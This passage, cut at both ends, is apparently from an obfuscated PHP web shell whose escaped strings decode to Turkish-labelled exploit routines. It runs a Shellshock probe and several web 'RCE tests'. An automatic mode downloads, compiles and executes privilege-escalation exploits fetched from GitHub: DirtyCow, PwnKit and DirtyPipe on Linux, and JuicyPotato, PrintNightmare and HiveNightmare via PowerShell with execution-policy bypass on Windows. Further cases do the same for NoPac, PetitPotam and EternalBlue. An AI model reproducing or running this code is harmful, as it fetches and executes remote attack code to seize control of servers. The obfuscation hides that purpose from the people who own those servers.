"\145\156\x76\x20\170\75\x22\50\x29\40\x7b\40\x3a\73\175\73\x20\145\143\150\157\40\166\x75\154\156\x65\162\x61\142\154\x65\x22\40\x2f\x62\x69\x6e\57\142\141\x73\x68\40\55\143\40\x22\145\143\x68\157\x20\x74\145\163\164\x22\40\x32\76\x26\61\x20\174\174\x20\x65\x63\x68\x6f\x20\x22\x53\x68\x65\154\x6c\x73\x68\157\x63\x6b\x20\x74\x65\x73\164\40\145\x64\151\x6c\x64\151\x22"), array("\123\x74\162\165\164\163\62\x20\x28\x43\x56\105\55\62\60\61\x37\55\x35\x36\63\70\x29", "\145\143\150\157\40\x22\x53\x74\162\165\164\x73\62\x20\x74\145\x73\x74\72\40\x43\157\156\x74\x65\x6e\x74\55\x54\x79\x70\145\72\40\45\173\x28\x23\x5f\x6d\145\155\142\145\x72\x41\143\143\145\x73\163\75\x40\x6f\147\156\x6c\56\x4f\x67\x6e\x6c\103\157\x6e\x74\x65\170\164\100\x44\x45\106\x41\125\x4c\x54\137\x4d\105\x4d\102\105\x52\x5f\101\x43\x43\105\x53\123\x29\x7d\x22\x20\76\40\57\x74\x6d\x70\57\x73\x74\162\165\164\163\x5f\164\x65\163\164\56\164\170\164\x20\x32\76\46\61\40\x26\46\x20\x63\141\x74\40\x2f\x74\155\160\57\x73\x74\x72\165\164\163\137\x74\x65\163\164\56\x74\170\x74\40\62\76\46\61"), array("\124\x6f\x6d\143\x61\x74\40\122\103\x45", "\x65\x63\x68\x6f\40\42\124\x6f\155\143\x61\164\40\122\103\x45\x20\x74\x65\x73\x74\x3a\40\57\155\x61\x6e\x61\147\145\162\57\x68\164\x6d\x6c\x22\40\76\x20\x2f\164\155\160\57\164\157\155\143\141\164\137\x74\x65\163\164\x2e\x74\x78\164\40\62\76\x26\61\x20\x26\x26\40\143\x61\x74\x20\57\x74\x6d\x70\x2f\x74\x6f\155\143\x61\x74\137\164\x65\x73\164\x2e\x74\x78\x74\40\x32\76\x26\x31"), array("\x57\145\142\x4c\x6f\147\151\x63\x20\x52\x43\105", "\x65\143\x68\x6f\x20\x22\x57\x65\x62\x4c\x6f\x67\151\143\x20\x52\x43\105\40\164\145\163\x74\x3a\x20\x2f\x63\x6f\156\x73\x6f\x6c\145\57\143\163\163\x2f\x25\62\65\62\145\45\62\65\62\x65\45\x32\x35\62\x66\x63\x6f\156\x73\x6f\x6c\145\56\160\x6f\x72\x74\x61\x6c\x22\x20\76\x20\57\x74\155\160\x2f\x77\145\x62\154\x6f\x67\151\143\137\x74\x65\163\164\x2e\x74\170\164\x20\x32\76\x26\x31\x20\46\x26\x20\x63\141\x74\40\57\x74\155\160\57\167\x65\142\154\x6f\147\x69\x63\x5f\164\145\x73\164\56\164\170\164\40\x32\x3e\x26\61"), array("\x4a\145\x6e\153\151\x6e\163\40\x52\x43\105", "\145\143\x68\157\x20\42\x4a\145\x6e\x6b\151\x6e\x73\x20\122\x43\x45\40\164\145\163\164\72\40\x2f\x73\145\143\x75\x72\x69\x74\171\122\x65\141\154\155\x2f\x75\163\x65\x72\x2f\x74\x65\163\164\42\40\76\x20\57\164\x6d\160\57\x6a\145\x6e\x6b\x69\x6e\163\137\x74\145\163\164\x2e\164\x78\x74\x20\x32\x3e\x26\x31\x20\46\46\40\143\x61\164\40\57\164\x6d\x70\x2f\152\x65\x6e\x6b\x69\156\x73\x5f\164\x65\x73\x74\x2e\164\x78\x74\40\x32\76\46\61"), array("\x4a\102\157\163\x73\40\x52\x43\x45", "\x65\x63\150\157\x20\42\112\102\157\163\163\40\122\103\105\x20\164\145\163\164\72\x20\57\x69\x6e\166\x6f\153\x65\162\x2f\162\x65\141\x64\x6f\x6e\x6c\x79\x22\x20\76\40\57\x74\155\160\57\x6a\142\157\163\x73\137\x74\145\x73\x74\x2e\164\x78\164\40\x32\76\x26\61\x20\46\46\x20\143\x61\x74\x20\57\x74\x6d\160\57\x6a\x62\157\x73\x73\x5f\164\x65\163\164\x2e\x74\170\x74\40\x32\76\x26\x31"), array("\116\x65\170\165\x73\40\x52\103\105", "\x65\x63\150\157\40\x22\116\x65\x78\165\x73\x20\x52\x43\x45\40\x74\x65\163\164\x3a\x20\x2f\163\x65\x72\x76\x69\x63\x65\57\x72\145\163\164\x2f\x62\x65\164\x61\x22\x20\76\x20\57\x74\x6d\x70\57\156\145\170\165\x73\x5f\x74\x65\x73\164\56\164\x78\x74\40\62\76\46\x31\40\46\46\40\143\141\x74\40\57\x74\x6d\x70\x2f\156\x65\x78\165\x73\x5f\x74\145\x73\164\56\164\x78\164\x20\x32\x3e\x26\61"), array("\101\x70\141\143\150\145\x20\x52\x43\x45", "\145\x63\150\x6f\x20\42\x41\160\x61\x63\150\x65\x20\122\x43\x45\x20\x74\x65\163\164\x3a\x20\x2f\143\x67\x69\55\x62\151\156\x2f\x74\145\x73\164\x2e\143\147\151\x22\40\x3e\40\57\164\x6d\x70\x2f\141\x70\141\x63\x68\145\x5f\164\x65\163\164\56\x74\170\164\x20\62\x3e\46\61\40\46\x26\40\143\x61\164\x20\x2f\164\x6d\160\57\141\x70\141\x63\x68\x65\x5f\x74\145\x73\x74\56\x74\170\x74\40\62\x3e\x26\61")); foreach ($web_exploits as $exploit) { $output .= "\360\237\223\214\40{$exploit[0]}\12"; $result = runExploitVip($exploit[1], $exploit[0]); $output .= "\40\x20\x20\360\237\x93\212\40\123\x6f\156\165\xc3\xa7\x3a\x20" . ($result["\x73\165\x63\143\145\x73\x73"] ? "\342\234\205\40\x50\117\124\101\116\123\304\xb0\x59\105\114\x20\x42\101\xc5\x9e\x41\122\111" : "\xe2\x9a\xa0\357\xb8\217\x20\x54\105\x53\x54\40\x45\104\xc4\260\114\104\304\xb0") . "\12"; $output .= "\12"; } $output .= "\xe2\x9c\x85\x20\124\xc3\x9c\x4d\40\127\105\x42\40\105\x58\x50\114\x4f\x49\x54\x4c\105\122\x20\124\x45\x53\124\x20\x45\x44\xc4\260\114\104\304\260\x21\12"; break; case "\x65\x78\x70\x6c\157\x69\164\137\x61\165\164\x6f": $output .= "\x3d\75\75\x20\xf0\x9f\244\226\x20\117\124\117\x4d\x41\x54\xc4\260\x4b\x20\105\x58\120\x4c\x4f\111\124\x20\123\x45\xc3\207\xc4\xb0\103\304\260\40\x3d\75\75\xa\xa"; if (isWindows()) { $auto_exploits = array(array("\x4a\165\151\143\171\x50\x6f\164\x61\164\x6f", "\160\x6f\x77\145\x72\163\x68\145\x6c\154\x20\x2d\103\157\x6d\155\141\156\x64\40\42\x74\162\171\x20\x7b\x20\111\x6e\x76\157\x6b\145\x2d\127\x65\142\x52\x65\x71\165\145\x73\x74\40\55\125\x72\151\x20\47\x68\164\164\x70\x73\72\x2f\57\147\151\164\150\165\142\x2e\x63\157\x6d\57\157\150\160\x65\57\152\x75\151\143\x79\55\x70\x6f\164\141\164\157\57\x72\x65\154\x65\141\163\145\x73\57\144\157\167\156\154\157\141\x64\x2f\x76\x30\56\61\x2f\112\165\151\143\x79\x50\157\x74\141\164\157\56\x65\x78\x65\x27\40\55\117\x75\164\x46\151\x6c\145\x20\x43\72\134\152\165\151\143\171\x70\x6f\164\141\x74\157\56\145\x78\x65\40\55\105\x72\x72\157\162\x41\143\164\x69\x6f\x6e\40\x53\164\157\160\x3b\x20\x43\72\134\152\165\151\143\171\160\157\x74\x61\164\x6f\56\145\170\145\40\x2d\164\40\x2a\40\55\160\x20\x43\72\134\x57\151\x6e\x64\x6f\x77\163\x5c\x53\171\x73\x74\x65\x6d\63\62\134\143\x6d\144\56\x65\x78\x65\40\55\141\x20\47\57\x63\40\x77\150\157\141\155\x69\47\x20\x7d\x20\143\x61\x74\x63\150\x20\173\x20\x65\143\x68\157\x20\x27\x4a\165\151\x63\171\x50\x6f\164\141\164\157\40\171\303\274\x6b\x6c\x65\156\145\155\145\x64\151\47\40\175\42"), array("\x50\162\151\x6e\x74\x4e\x69\147\150\164\x6d\x61\162\x65", "\x70\x6f\167\145\162\163\150\x65\154\x6c\x20\55\103\x6f\155\155\141\x6e\144\x20\42\x74\162\x79\40\x7b\40\111\x6e\x76\x6f\153\145\x2d\127\x65\142\122\x65\x71\165\x65\x73\x74\40\55\x55\x72\151\x20\47\150\164\x74\160\x73\x3a\x2f\x2f\x72\x61\167\x2e\x67\x69\164\x68\165\142\x75\163\145\x72\x63\x6f\x6e\x74\x65\x6e\164\56\143\x6f\155\x2f\x63\165\x62\145\60\x78\x30\57\x43\126\105\55\62\60\x32\61\x2d\x31\x36\67\x35\57\155\141\151\x6e\57\103\126\x45\x2d\x32\60\x32\x31\55\x31\x36\67\65\56\x70\163\x31\x27\40\55\117\165\x74\106\151\154\145\40\x43\72\134\x70\x72\151\156\164\156\151\147\x68\164\x6d\141\x72\x65\x2e\x70\163\61\x20\55\x45\162\162\157\x72\x41\x63\x74\151\x6f\x6e\40\x53\164\157\x70\x3b\x20\160\x6f\167\145\162\x73\x68\145\x6c\154\x20\55\145\170\145\143\x20\142\x79\x70\x61\x73\163\x20\x2d\106\151\x6c\145\x20\x43\72\134\x70\x72\151\156\x74\156\x69\147\150\x74\x6d\x61\162\x65\56\160\x73\x31\40\175\40\143\x61\164\143\x68\40\x7b\40\145\143\x68\157\x20\47\120\162\x69\156\x74\x4e\x69\x67\x68\x74\x6d\141\x72\x65\40\x79\xc3\274\153\154\145\x6e\145\x6d\145\x64\151\x27\x20\175\42"), array("\110\x69\x76\145\x4e\x69\147\x68\164\x6d\x61\x72\145", "\160\157\x77\x65\x72\x73\x68\145\x6c\154\x20\55\x43\157\x6d\x6d\x61\156\x64\40\x22\x74\162\x79\40\173\x20\x49\156\x76\x6f\x6b\x65\55\x57\x65\142\122\145\x71\165\x65\x73\164\40\55\x55\x72\151\x20\47\150\x74\x74\x70\163\72\57\x2f\162\141\167\56\147\x69\164\x68\x75\x62\165\x73\x65\162\143\157\156\x74\145\x6e\x74\x2e\143\157\155\x2f\107\x6f\x73\x73\x69\124\150\x65\x44\x6f\147\57\110\151\166\145\x4e\x69\x67\x68\164\x6d\141\162\x65\57\x6d\141\151\156\57\110\151\166\x65\x4e\x69\147\150\x74\155\x61\162\145\56\x70\x73\x31\x27\x20\x2d\117\165\x74\106\x69\154\x65\40\x43\72\x5c\150\x69\x76\145\156\151\x67\150\x74\x6d\x61\162\x65\56\x70\x73\x31\x20\x2d\x45\162\x72\x6f\162\101\x63\x74\x69\157\156\x20\123\x74\157\x70\73\x20\160\x6f\167\145\162\x73\x68\x65\154\154\40\x2d\145\x78\x65\x63\40\x62\171\x70\x61\x73\x73\x20\55\x46\x69\x6c\145\x20\x43\x3a\x5c\150\151\x76\145\156\x69\x67\150\164\155\x61\x72\x65\x2e\160\163\x31\40\x7d\40\x63\141\164\143\x68\x20\173\x20\145\x63\150\x6f\40\x27\x48\x69\166\145\x4e\x69\147\x68\x74\155\141\162\x65\x20\x79\xc3\274\x6b\x6c\145\156\x65\x6d\x65\x64\x69\x27\x20\175\42")); } else { $auto_exploits = array(array("\x44\151\x72\164\x79\40\x43\157\167", "\167\147\x65\164\x20\x2d\161\x20\55\x2d\x74\x69\x6d\x65\x6f\x75\x74\75\61\x30\x20\55\117\x20\x2f\164\x6d\160\57\x64\151\x72\164\171\x63\157\167\56\x63\x20\150\164\164\x70\163\x3a\57\57\x72\141\x77\x2e\x67\151\x74\150\x75\142\165\x73\145\x72\143\157\x6e\164\145\x6e\164\x2e\143\157\155\x2f\146\x69\x72\x65\x66\141\162\164\x2f\x64\151\162\164\x79\x63\157\167\57\x6d\141\163\x74\145\x72\57\144\151\162\164\171\56\x63\x20\62\x3e\x2f\x64\x65\x76\x2f\x6e\x75\154\154\x20\46\46\40\147\143\x63\40\55\160\164\x68\x72\x65\141\x64\40\57\164\155\x70\57\x64\151\x72\164\x79\x63\157\x77\x2e\x63\x20\55\x6f\40\57\x74\x6d\160\x2f\x64\151\x72\x74\171\x63\x6f\x77\x20\x32\x3e\57\x64\x65\166\57\x6e\165\x6c\x6c\40\46\46\x20\x63\x68\x6d\157\144\40\x2b\170\40\57\164\155\160\x2f\144\151\x72\x74\171\x63\x6f\167\40\62\76\57\x64\145\166\57\156\x75\154\154\40\46\46\40\57\x74\155\x70\x2f\x64\x69\162\164\x79\143\157\167\40\x32\76\x26\61\x20\x7c\174\x20\145\x63\x68\157\40\42\x44\x69\162\x74\171\x20\x43\157\x77\x20\x79\303\xbc\153\154\145\x6e\x65\x6d\x65\144\x69\42"), array("\120\167\x6e\113\151\164", "\x77\x67\145\164\40\55\x71\40\55\x2d\x74\151\155\x65\x6f\165\x74\75\x31\x30\40\55\x4f\x20\x2f\x74\x6d\x70\57\160\167\156\153\x69\164\56\x63\x20\150\x74\x74\160\x73\x3a\57\x2f\x72\x61\x77\x2e\147\151\x74\150\x75\142\165\163\145\162\x63\x6f\x6e\164\145\156\x74\56\143\157\x6d\57\142\145\162\144\x61\166\x2f\x43\126\105\55\x32\60\62\61\x2d\x34\x30\x33\64\x2f\x6d\x61\151\156\57\x70\167\156\x6b\151\x74\56\143\x20\x32\76\57\x64\145\166\57\156\165\x6c\x6c\40\x26\x26\x20\x67\143\x63\x20\x2f\x74\x6d\x70\x2f\160\167\x6e\x6b\x69\x74\x2e\x63\x20\55\x6f\x20\57\x74\155\160\57\160\167\x6e\x6b\151\x74\x20\62\x3e\57\144\x65\x76\57\156\x75\154\x6c\x20\46\x26\40\143\x68\155\x6f\x64\x20\53\170\40\x2f\164\x6d\160\x2f\160\x77\x6e\153\151\x74\40\62\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\40\46\46\x20\x2f\164\155\x70\57\x70\x77\156\153\151\164\x20\x32\76\46\x31\x20\174\174\x20\145\x63\150\x6f\40\x22\120\167\x6e\x4b\x69\164\x20\x79\xc3\xbc\153\x6c\x65\156\x65\x6d\145\144\151\x22"), array("\x44\x69\162\164\x79\x20\120\151\160\145", "\x77\147\x65\x74\40\55\x71\40\55\x2d\x74\x69\x6d\145\157\165\x74\75\x31\60\40\x2d\117\x20\57\x74\155\x70\x2f\x64\x69\x72\x74\x79\x70\x69\x70\145\x2e\x63\40\x68\x74\164\160\x73\x3a\57\57\x72\x61\167\56\x67\151\164\x68\165\x62\165\163\145\x72\x63\157\x6e\164\145\156\x74\56\143\x6f\155\57\x41\x72\151\156\145\162\x72\157\156\57\103\x56\x45\x2d\62\x30\62\62\x2d\x30\x38\x34\x37\x2d\x44\x69\162\164\171\x50\x69\160\145\x2d\x45\170\160\x6c\x6f\x69\x74\57\x6d\x61\151\156\x2f\145\x78\x70\154\157\151\x74\x2e\x63\x20\62\x3e\x2f\x64\145\166\x2f\x6e\x75\154\x6c\x20\46\46\x20\x67\x63\143\40\57\164\155\x70\57\144\x69\162\164\x79\160\x69\160\145\56\143\40\x2d\x6f\40\57\164\155\x70\57\144\151\x72\164\x79\x70\151\160\145\x20\62\x3e\x2f\x64\145\166\x2f\156\x75\x6c\154\x20\46\46\40\143\150\155\x6f\144\x20\x2b\170\x20\57\x74\155\160\57\x64\151\x72\164\x79\x70\151\x70\145\40\x32\x3e\57\144\145\166\57\x6e\x75\x6c\x6c\40\46\x26\x20\57\164\155\x70\x2f\x64\151\162\164\x79\160\x69\x70\145\x20\x32\x3e\46\61\x20\174\x7c\x20\145\x63\150\157\x20\42\x44\151\162\x74\x79\40\x50\x69\160\145\40\x79\303\xbc\x6b\154\145\156\x65\x6d\145\144\x69\x22")); } $found_success = false; foreach ($auto_exploits as $exploit) { $output .= "\xf0\x9f\x93\214\40\x44\x45\116\x45\x4e\xc4\260\131\x4f\122\x3a\x20{$exploit[0]}\xa"; $result = runExploitVip($exploit[1], $exploit[0]); if ($result["\163\165\x63\143\x65\163\163"]) { $output .= "\x20\x20\x20\342\234\x85\40\x42\101\305\x9e\x41\122\x49\114\x49\41\x20\x45\x78\x70\x6c\x6f\151\164\40\xc3\xa7\x61\154\xc4\261\xc5\x9f\164\xc4\261\x21\12"; $found_success = true; break; } else { $output .= "\40\40\40\342\x9d\214\x20\102\141\305\237\x61\x72\xc4\261\x73\xc4\xb1\x7a\54\40\144\151\xc4\x9f\145\162\x20\145\x78\160\x6c\157\x69\x74\x20\144\145\x6e\x65\156\x69\171\157\x72\56\56\x2e\xa"; } $output .= "\xa"; } if (!$found_success) { $output .= "\xa\xe2\x9a\xa0\40\110\151\xc3\247\x62\151\162\40\145\x78\x70\x6c\157\151\164\x20\142\141\xc5\237\x61\x72\xc4\261\154\xc4\xb1\x20\157\154\155\x61\x64\xc4\261\56\x20\x53\x69\x73\x74\145\x6d\40\x67\xc3\xbc\156\x63\145\x6c\x20\x6f\154\x61\142\x69\154\151\x72\56\xa"; } $output .= "\12\xe2\x9c\x85\40\117\x54\x4f\115\x41\x54\xc4\xb0\113\40\x45\x58\x50\x4c\x4f\111\x54\x20\124\101\122\x41\115\101\123\111\x20\x54\x41\x4d\101\115\114\x41\x4e\104\111\41\xa"; break; case "\145\170\x70\x6c\x6f\151\x74\137\x70\x72\x69\156\x74\156\x69\x67\150\x74\155\141\x72\x65": $output .= "\x3d\x3d\x3d\x20\xf0\x9f\226\250\357\xb8\217\x20\120\122\111\116\x54\116\111\x47\x48\124\115\x41\122\x45\x20\x28\103\x56\x45\x2d\x32\60\x32\x31\x2d\61\x36\67\x35\x29\x20\75\75\75\12\12"; if (!isWindows()) { $output .= "\342\232\240\x20\102\x75\40\145\170\160\154\157\151\x74\40\x73\141\144\x65\x63\145\x20\127\151\x6e\x64\157\167\163\47\164\x61\x20\xc3\xa7\141\x6c\xc4\261\305\x9f\xc4\xb1\x72\x21\12"; break; } $result = runExploitVip("\x70\157\167\145\162\x73\150\x65\154\x6c\40\55\x43\x6f\x6d\155\x61\156\x64\40\42\164\x72\x79\x20\x7b\40\111\156\166\157\153\x65\x2d\x57\145\142\122\145\161\165\145\x73\164\x20\x2d\x55\162\x69\40\x27\150\164\164\160\163\72\57\x2f\162\141\167\x2e\x67\151\164\150\x75\142\x75\163\145\x72\x63\157\156\164\145\156\x74\56\x63\157\155\x2f\x63\165\x62\x65\60\x78\x30\x2f\x43\x56\105\55\x32\x30\x32\61\55\x31\66\x37\x35\x2f\155\x61\x69\156\57\x43\126\x45\x2d\62\60\62\61\55\61\66\67\x35\56\160\163\x31\x27\x20\55\x4f\x75\x74\106\x69\154\145\x20\x43\x3a\134\x70\162\x69\156\x74\156\151\x67\x68\164\155\141\x72\x65\56\x70\x73\x31\40\x2d\105\x72\x72\x6f\162\x41\143\x74\151\x6f\x6e\x20\123\x74\157\x70\x3b\40\x70\x6f\167\x65\x72\163\150\x65\154\x6c\x20\x2d\145\170\145\143\40\142\x79\x70\x61\163\x73\x20\55\x46\x69\154\145\40\103\72\134\x70\162\151\156\x74\x6e\151\147\x68\164\155\141\x72\145\x2e\160\163\61\40\x7d\40\x63\141\x74\x63\150\x20\173\x20\x65\143\150\157\x20\x27\x50\162\151\156\164\x4e\151\x67\x68\x74\x6d\x61\162\x65\x20\171\303\xbc\153\x6c\x65\156\x65\155\x65\144\151\47\x20\x7d\x22", "\x50\162\x69\156\x74\x4e\151\147\150\164\155\141\162\145"); $output .= $result["\x72\x65\163\165\x6c\x74"] . "\xa"; break; case "\145\x78\x70\154\x6f\x69\x74\137\x6a\x75\151\143\171\x70\157\x74\141\x74\157": $output .= "\75\75\x3d\40\360\237\xa5\224\x20\112\x55\x49\103\131\120\x4f\x54\x41\124\x4f\40\75\75\75\12\12"; if (!isWindows()) { $output .= "\342\232\xa0\40\x42\165\40\145\x78\160\154\x6f\x69\x74\40\163\x61\144\x65\143\145\x20\x57\151\x6e\x64\157\x77\163\47\x74\x61\40\xc3\xa7\x61\154\xc4\261\xc5\x9f\xc4\xb1\162\x21\xa"; break; } $result = runExploitVip("\160\157\167\x65\x72\x73\x68\x65\154\154\x20\55\103\157\155\155\x61\x6e\144\40\x22\164\x72\x79\x20\x7b\x20\x49\x6e\166\x6f\x6b\x65\55\127\x65\142\x52\145\x71\x75\x65\x73\164\40\55\125\162\x69\x20\x27\150\x74\164\x70\x73\x3a\57\57\147\x69\164\150\x75\x62\56\x63\157\155\57\157\x68\160\x65\x2f\152\x75\151\x63\x79\x2d\160\157\164\x61\x74\157\x2f\x72\x65\x6c\145\141\163\x65\163\x2f\x64\157\167\156\x6c\157\x61\144\x2f\x76\x30\x2e\61\x2f\x4a\165\x69\143\x79\x50\x6f\164\141\x74\157\x2e\x65\x78\x65\47\x20\x2d\x4f\x75\164\x46\x69\x6c\x65\x20\103\x3a\134\152\x75\x69\143\x79\160\157\x74\141\164\157\x2e\x65\x78\145\x20\55\x45\162\x72\157\x72\101\143\164\x69\x6f\x6e\x20\x53\x74\157\x70\73\40\103\72\x5c\152\x75\151\143\x79\x70\157\x74\x61\164\157\x2e\145\170\x65\x20\55\x74\40\52\x20\55\160\x20\103\x3a\x5c\127\151\156\x64\x6f\x77\x73\x5c\x53\171\x73\x74\x65\155\63\62\x5c\143\155\144\x2e\x65\x78\x65\x20\55\141\x20\47\57\x63\40\x77\x68\x6f\141\155\x69\47\x20\175\x20\143\141\x74\x63\x68\x20\173\x20\x65\143\x68\x6f\40\x27\x4a\x75\x69\143\x79\120\x6f\164\x61\164\x6f\40\x79\xc3\xbc\153\154\x65\156\x65\155\145\x64\x69\47\x20\x7d\42", "\112\165\x69\x63\x79\120\157\x74\141\x74\157"); $output .= $result["\x72\x65\163\x75\154\164"] . "\xa"; break; case "\145\170\160\154\157\151\164\137\x68\151\166\145\156\x69\x67\150\x74\155\x61\162\x65": $output .= "\75\75\75\x20\xf0\237\220\x9d\40\110\x49\126\x45\116\x49\107\110\x54\x4d\x41\x52\105\40\50\103\126\105\55\x32\60\62\x31\x2d\x33\66\x39\63\x34\x29\40\x3d\x3d\x3d\12\12"; if (!isWindows()) { $output .= "\342\232\240\x20\102\165\40\x65\x78\160\154\x6f\151\164\40\163\141\x64\x65\x63\145\x20\127\151\156\x64\157\167\x73\47\164\141\40\303\247\x61\x6c\304\261\xc5\237\304\261\162\41\12"; break; } $result = runExploitVip("\160\x6f\x77\145\162\163\x68\145\154\154\x20\x2d\103\157\x6d\155\x61\156\144\40\x22\164\x72\171\x20\x7b\x20\x49\x6e\166\157\x6b\145\x2d\127\145\142\x52\145\161\x75\x65\163\x74\x20\55\125\162\x69\40\x27\150\x74\x74\x70\163\x3a\57\x2f\162\x61\167\x2e\x67\151\164\150\165\142\x75\x73\x65\x72\x63\x6f\156\x74\145\156\x74\x2e\143\x6f\155\x2f\x47\x6f\163\x73\x69\x54\150\x65\104\157\x67\x2f\x48\151\166\145\116\151\x67\x68\164\155\x61\162\145\57\155\141\151\x6e\x2f\110\151\166\x65\x4e\x69\147\x68\x74\155\141\162\145\x2e\160\163\x31\x27\x20\x2d\x4f\x75\164\106\151\154\145\40\103\72\x5c\x68\x69\166\145\x6e\x69\147\x68\x74\155\x61\162\x65\56\160\163\x31\x20\55\x45\x72\162\x6f\x72\101\143\164\151\x6f\156\40\x53\164\x6f\160\x3b\x20\160\x6f\x77\145\162\163\x68\x65\154\154\x20\55\145\170\145\x63\x20\x62\171\160\x61\x73\163\40\55\x46\x69\x6c\x65\40\x43\72\x5c\x68\151\x76\x65\156\x69\x67\150\164\x6d\x61\162\145\56\160\163\x31\x20\x7d\40\x63\141\164\143\150\x20\x7b\x20\x65\143\x68\x6f\40\47\110\151\166\145\x4e\x69\147\150\164\155\x61\162\x65\40\x79\303\xbc\x6b\154\145\x6e\x65\155\x65\144\151\47\x20\175\42", "\x48\151\166\145\x4e\x69\147\x68\164\155\141\162\145"); $output .= $result["\162\x65\x73\x75\154\164"] . "\xa"; break; case "\145\x78\160\154\157\151\164\137\156\x6f\x70\x61\x63": $output .= "\x3d\75\x3d\x20\360\237\232\253\40\x4e\x4f\x50\x41\103\x20\50\x43\126\105\x2d\x32\x30\62\x31\55\x34\62\x32\x37\x38\57\64\62\62\70\x37\51\40\x3d\75\75\12\12"; if (!isWindows()) { $output .= "\xe2\232\xa0\40\102\x75\40\x65\x78\160\x6c\x6f\x69\164\x20\x73\x61\144\145\143\x65\x20\x57\151\156\x64\157\167\x73\47\164\x61\40\xc3\247\x61\x6c\304\xb1\xc5\x9f\304\xb1\x72\x21\12"; break; } $result = runExploitVip("\x70\157\167\145\162\163\x68\x65\x6c\x6c\x20\x2d\x43\x6f\155\155\141\156\144\x20\42\164\x72\171\x20\173\40\111\156\x76\157\153\145\55\x57\145\x62\x52\x65\x71\x75\145\163\164\x20\x2d\125\162\151\x20\x27\150\x74\x74\x70\x73\72\x2f\x2f\162\141\167\x2e\x67\151\x74\x68\x75\142\x75\163\x65\x72\143\x6f\x6e\x74\x65\x6e\x74\56\143\x6f\155\57\143\x75\x62\145\x30\x78\x30\57\156\157\120\141\143\57\155\141\151\x6e\57\x6e\x6f\x50\141\143\x2e\x70\x79\47\x20\55\x4f\x75\x74\x46\x69\x6c\x65\x20\103\72\x5c\x6e\x6f\x70\141\x63\x2e\160\171\40\x2d\105\x72\162\x6f\162\x41\x63\x74\151\157\x6e\40\123\x74\157\160\73\40\x70\171\164\150\157\156\x20\103\72\134\x6e\157\x70\141\143\x2e\160\x79\x20\x7d\40\143\x61\x74\x63\x68\40\x7b\x20\x65\143\150\x6f\40\47\x4e\157\x50\x61\x63\x20\x79\xc3\274\x6b\x6c\145\156\145\155\145\144\x69\47\40\175\x22", "\116\157\120\141\x63"); $output .= $result["\162\x65\x73\165\x6c\x74"] . "\xa"; break; case "\145\170\160\154\x6f\x69\x74\x5f\x70\145\164\x69\x74\x70\x6f\x74\141\155": $output .= "\75\x3d\x3d\40\360\237\xaa\xa3\40\x50\105\124\x49\x54\x50\x4f\x54\x41\115\x20\x28\x43\126\x45\x2d\x32\x30\62\x31\x2d\63\x36\x39\64\x32\x29\40\x3d\x3d\75\xa\12"; if (!isWindows()) { $output .= "\342\x9a\xa0\40\102\165\40\145\170\x70\154\x6f\151\164\40\163\x61\144\145\x63\x65\x20\127\x69\156\144\x6f\167\x73\47\x74\x61\x20\303\xa7\x61\x6c\xc4\xb1\305\237\304\261\162\x21\xa"; break; } $result = runExploitVip("\160\157\167\145\162\x73\x68\145\154\154\40\55\x43\x6f\x6d\x6d\141\x6e\144\40\42\164\x72\171\40\x7b\x20\x49\156\166\x6f\153\145\x2d\x57\145\142\122\x65\161\165\145\163\164\40\x2d\x55\162\x69\40\x27\x68\x74\x74\160\x73\72\57\x2f\x72\141\x77\x2e\147\151\x74\150\x75\142\x75\x73\145\162\x63\157\156\164\x65\x6e\x74\56\x63\157\x6d\x2f\x74\x6f\x70\157\164\x61\x6d\x2f\x50\x65\164\x69\164\120\157\164\141\x6d\x2f\155\141\151\156\x2f\x50\x65\x74\151\164\x50\157\164\x61\x6d\56\x70\x79\47\40\55\117\165\x74\106\151\154\145\x20\x43\x3a\134\x70\145\164\151\164\x70\157\164\141\155\x2e\160\x79\40\x2d\105\162\162\x6f\162\101\143\x74\x69\x6f\156\40\x53\164\157\160\x3b\40\x70\x79\x74\150\157\156\x20\x43\x3a\x5c\160\145\164\151\x74\x70\157\x74\x61\x6d\56\160\x79\40\x7d\40\x63\141\164\143\x68\x20\173\x20\x65\143\150\157\x20\47\120\x65\x74\x69\x74\x50\157\x74\141\155\x20\x79\303\274\x6b\154\x65\x6e\x65\155\x65\x64\151\x27\40\x7d\42", "\x50\x65\164\151\x74\120\157\164\x61\x6d"); $output .= $result["\x72\145\163\165\154\x74"] . "\12"; break; case "\145\x78\x70\154\157\151\164\x5f\145\x74\145\x72\x6e\141\154\x62\154\165\x65": $output .= "\75\75\x3d\40\xf0\x9f\x94\265\x20\x45\x54\x45\122\116\x41\114\102\x4c\125\105\40\50\115\x53\x31\67\55\x30\x31\60\51\40\x3d\75\75\xa\xa"; if (!isWindows()) { $output .= "\xe2\x9a\240\40\102\165\x20\x65\x78\x70\x6c\x6f\151\x74\40\x73\141\x64\x65\x63\145\x20\127\151\156\x64\157\167\163\47\164\141\x20\xc3\xa7\x61\154\304\xb1\xc5\x9f\304\261\162\41\xa"; break; } $result = runExploitVip("\x70\x6f\x77\145\x72\163\150\x65\154\154\40\55\x43\157\x6d\155\x61\156\x64\40\x22\164\162\171\40\173\40\111\x6e\166\x6f\153\x65\x2d\127\x65\142\122\x65\161\x75\145\x73\164\40\55\x55\162\151\40\x27\x68\x74\x74\x70\163\72\x2f\x2f\162\x61\167\x2e\147\x69\164\x68\165\x62\x75\163\145\162\143\x6f\156\164\x65\156\x74\x2e\x63\157\x6d\x2f\63\156\144\107\64\155\145\x2f\x41\165\164\157\102\x6c\165\x65\55\115\123\x31\67\x2d\x30\x31\60\x2f\x6d\x61\163\x74\x65\x72\x2f\x65\164\145\x72\156\141\154\x62\x6c\x75\x65\x5f\145\x78\x70\x6c\x6f\x69\164\56\x70\x79\x27\40\x2d\x4f\165\164\x46\151\x6c\x65\40\x43\72\x5c\x65\x74\145\x72\156\x61\154\142\154\165\145\56\x70\x79\x20\x2d\x45\162\x72\157\162\x41\x63\x74\151\x6f\x6e\x20\123\164\157\160\73\x20\160\171\x74\x68\x6f\x6e\40\x43\72\x5c\x65\x74\x65\x72\156\141\154\142\154\165\145\56\x70\x79\40\x7d\x20\x63\x61\x74\143\x68\x20\173\x20\x65\x63\x68\x6f\40\x27\105\x74\145\x72\x6e\141\154\102\x6c\165\x65\40\x79\303\xbc\x6b\x6c\x65\156\145\155\x65\x64\x69\47\40\x7d\x22", "\105\x74\145\x72\156\x61\154\102\x6c\165\145"); $output .= $result["\162\145\x73\x75\x6c\x74"] . "\xa"; break; case "\145\170\x70\154\157\151\x74\x5f\142\x6c\165\x65\153\x65\145\160": $output .= 